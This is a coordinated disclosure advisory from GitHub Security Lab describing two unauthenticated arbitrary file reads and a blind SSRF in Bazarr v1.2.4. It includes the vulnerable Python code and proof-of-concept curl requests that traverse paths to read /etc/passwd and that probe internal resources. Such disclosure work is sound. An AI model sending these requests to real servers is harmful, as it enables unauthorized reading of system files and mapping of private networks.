Coordinated Disclosure Timeline

Summary

Bazarr is vulnerable to unauthenticated arbitrary file reads in two endpoints and a blind server-side request forgery (SSRF).

Project

bazarr

Tested Version

v1.2.4

Details

Issue 1: Arbitrary file read in /system/backup/download/ endpoint (GHSL-2023-192)

The /system/backup/download/ endpoint in bazarr/app/ui.py does not validate the user-controlled filename variable and uses it in the send_file function, which leads to an arbitrary file read on the system.

backup_download method in bazarr/app/ui.py

@check_login
@ui_bp.route('/system/backup/download/<path:filename>', methods=['GET'])
def backup_download(filename):
    return send_file(os.path.join(settings.backup.folder, filename), max_age=0, as_attachment=True)

This issue was found with the CodeQL query Uncontrolled data used in path expression.

Impact

This issue may lead to unauthenticated arbitrary file read.

PoC

  1. Start Bazarr. We assume that it is running on http://127.0.0.1:6767.
  2. Send the following request.
    curl -X GET 'http://127.0.0.1:6767/system/backup/download/../../../../../../../etc/passwd' --path-as-is
    
  3. Observe that /etc/passwd is displayed in the response.

Issue 2: Arbitrary file read in /api/swaggerui/static endpoint (GHSL-2023-193)

The /api/swaggerui/static endpoint in bazarr/app/ui.py does not validate the user-controlled filename variable and uses it in the send_file function, which leads to an arbitrary file read on the system.

swaggerui_static method in bazarr/app/ui.py

@ui_bp.route('/api/swaggerui/static/<path:filename>', methods=['GET'])
def swaggerui_static(filename):
    return send_file(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',
                     'static', filename))

This issue was found with the CodeQL query Uncontrolled data used in path expression.

Impact

This issue may lead to arbitrary file read.

PoC

1.. Start Bazarr. We assume that it is running on http://127.0.0.1:6767.

  1. Send the following request.
    curl -X GET 'http://127.0.0.1:6767/api/swaggerui/static/../../../../../../../etc/passwd' --path-as-is
    
  2. Observe that /etc/passwd is displayed in the response.

Issue 3: Blind Server-Side Request Forgery (SSRF) in the /test/<protocol>/ endpoint (GHSL-2023-194)

The proxy method in bazarr/bazarr/app/ui.py does not validate the user-controlled protocol and url variables and passes them to requests.get() without any sanitization, which leads to a server-side request forgery. Since the contents of the response to the GET request are not visible to the one making the request (the contents are visible only if there’s a JSON in the response with a “version” key value pair, see lines 168-171), this is a blind server-side request forgery.

proxy method

def proxy(protocol, url):
    url = protocol + '://' + unquote(url)
    params = request.args
    try:
        result = requests.get(url, params, allow_redirects=False, verify=False, timeout=5, headers=headers)
    except Exception as e:
        return dict(status=False, error=repr(e))
    else:
        if result.status_code == 200:
            try:
                version = result.json()['version']
                return dict(status=True, version=version)
            except Exception:
                return dict(status=False, error='Error Occurred. Check your settings.')
        elif result.status_code == 401:
            return dict(status=False, error='Access Denied. Check API key.')
        elif result.status_code == 404:
            return dict(status=False, error='Cannot get version. Maybe unsupported legacy API call?')
        elif 300 <= result.status_code <= 399:
            return dict(status=False, error='Wrong URL Base.')
        else:
            return dict(status=False, error=result.raise_for_status())

This issue was found with the CodeQL query Full server-side request forgery.

Impact

This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for determining whether certain resources on the internal network exist or not, even though these resources may not be accessible on the internet.

Proof of Concept

  1. Start a simple python web server in a folder containing a example file called file.txt with python -m http.server 9000 This command will serve the file.txt file on http://127.0.0.1:9000
  2. Start Bazarr. We assume that it is running on http://127.0.0.1:6767.
  3. Send the following request.
    curl -X GET 'http://127.0.0.1:6767/test/http/localhost:9000/file.txt'
    
  4. If the file exists, the response will be:
    {
      "error": "Error Occurred. Check your settings.",
      "status": false
    }
    

    You can also test if a file doesn’t exist by sending a request for a resource that doesn’t exist, like foo.txt, for example:

    curl -X GET 'http://127.0.0.1:6767/test/http/localhost:9000/foo.txt'
    

    If the file doesn’t exist, the response will be:

    {
      "error": "Cannot get version. Maybe unsupported legacy API call?",
      "status": false
    }
    

Resources

SSRF prevention cheatsheet

CVE

Credit

These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-192, GHSL-2023-193, or GHSL-2023-194 in any communication regarding these issues.